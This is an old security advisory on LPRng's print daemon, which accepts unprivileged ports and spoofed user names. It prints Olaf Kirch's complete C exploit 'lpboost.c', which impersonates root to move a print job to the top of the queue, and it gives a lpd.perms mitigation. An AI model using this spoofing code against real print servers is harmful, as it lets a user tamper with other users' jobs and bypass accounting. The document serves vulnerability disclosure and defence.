COMMAND
LPRng
SYSTEMS AFFECTED
Linux (tested on Debian)
PROBLEM
Olaf Kirch found following. lpd doesn't check for privileged
ports by default, and blindly accepts any user name the lpr client
provides.
Below is his exploit to demonstrate this problem. It lets Joe
User move any print job to the top of the print queue. To test
it, it may be best to create a dummy printer, disable printing to
it, and create some print jobs (by different users). Note that
while this exploit is pretty harmless, other exploits (such as
redirecting printers or circumventing the accounting system) are
not.
/*
* lpboost.c
*
* Simple exploit to demonstrate problem with PLP/LPRng user
* `authentication': boost your print job's priority by moving it
* to the top of the queue.
*
* This is the most harmless exploit of this problem. More serious
* ones include circumvention of the accounting system, killing
* other users' jobs, shutting down printers, redirecting them,
* etc.
*
* Copyright (C) 1997, Olaf Kirch <okir@lst.de>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
static int doconnect(char *hostname);
static void dosend(int fd, unsigned char ch, char *string);
int
main(int argc, char **argv)
{
char buffer[8192];
char hostbuf[256], *hostname = hostbuf;
int fd;
if (argc == 4) {
hostname = argv[3];
} else if (argc != 3) {
fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
exit(1);
} else {
/* If lpd.perms allows queue manipulation only from
* the local host (SERVER keyword), must use FQDN
* rather than localhost (127.0.0.1) */
gethostname(hostbuf, sizeof(hostbuf));
}
if ((fd = doconnect(hostname)) < 0) {
fprintf(stderr, "Failed to connect to %s: %s\n",
hostname, strerror(errno));
exit(1);
}
/* Assemble control message */
sprintf(buffer, "%s %s topq %s %s",
argv[1], /* printer */
"root", /* user */
argv[1], /* printer */
argv[2]); /* job # */
/* Transmit control message and pick up status */
dosend(fd, 6, buffer);
exit (0);
}
static int
doconnect(char *hostname)
{
struct hostent *hp;
struct sockaddr_in sin;
int fd;
if (!(hp = gethostbyname(hostname))) {
fprintf(stderr, "%s: unknown host\n", hostname);
exit(1);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr = *(struct in_addr *) hp->h_addr;
sin.sin_port = htons(515);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
return fd;
}
static void
dosend(int fd, unsigned char ch, char *string)
{
char buffer[256], cr = '\n';
int slen = string? strlen(string) : 0;
if (write(fd, &ch, 1) != 1 ||
(string && (write(fd, string, slen) != slen
|| write(fd, &cr, 1) != 1))) {
perror("write");
exit(1);
}
while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
buffer[slen] = '\0';
fprintf(stderr, "lpd: %s\n", buffer);
}
if (slen == 0 || errno == EPIPE)
return;
perror("read (errmsg)");
exit(1);
}
SOLUTION
One way to fix that would be to restrict the the range of ports
from which clients are permitted to connect by putting the
following into /etc/lpd.perms (right before all other non-comment
statements):
REJECT SERVICE=X NOT PORT=512-1023
and stop and restart the printer daemon. Note that restricting
the valid range of ports to 512-1023 also stops FTP bounce
attacks (bounce attacks don't apply if you install the most
recent wu-ftpd fix).
However, this fails miserably since all lp clients are installed
without suid root permissions (at least by Caldera). This seems
to be a design decision made by the author. OTOH he has put a lot
of work into the accounting stuff which is quite worthless if lpd
can be spoofed that easily.
Problems like this can be solved using the SCM_CREDENTIALS stuff
in 2.1.x kernels. Lpr can authenticate itself with the local lpd
via a unix socket, and have lpd forward the job to the remote
printer using a privileged port.